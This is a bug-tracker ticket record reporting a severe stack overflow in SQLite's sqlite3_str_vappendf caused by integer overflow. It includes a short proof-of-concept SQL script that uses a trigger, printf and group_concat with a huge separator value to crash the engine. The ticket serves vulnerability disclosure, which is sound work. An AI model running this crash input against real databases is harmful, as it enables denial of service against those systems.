Overview
Artifact ID: | e6eaff95c92ac3cd0bc42f001dc3d512d2e32f13563a906af961192fdc7bdd3c |
---|---|
Ticket: | 23439ea5822411389c8edac234c08f2cc27ef3e9
Stack overflow in sqlite3_str_vappendf, caused by int overflow |
User & Date: | yongheng 2020-05-23 17:52:02 |
Changes
- icomment:
Affected latest release version. POC: --- CREATE TABLE a(b DOUBLE CHECK( NOT CASE WHEN printf(b, b) THEN 0 END) UNIQUE ON CONFLICT REPLACE); CREATE TRIGGER c INSERT ON a BEGIN INSERT INTO a SELECT group_concat(b, 2147483647) FROM a;END; INSERT INTO a(b, b, b) VALUES(NULL, 9, 3); UPDATE a SET b = 0; INSERT INTO a VALUES('GERMANY''s%'), ('Y'), ('Brand#23') ---
- login: "yongheng"
- mimetype: "text/plain"
- severity changed to: "Severe"
- status changed to: "Open"
- title changed to:
Stack overflow in sqlite3_str_vappendf, caused by int overflow
- type changed to: "Code_Defect"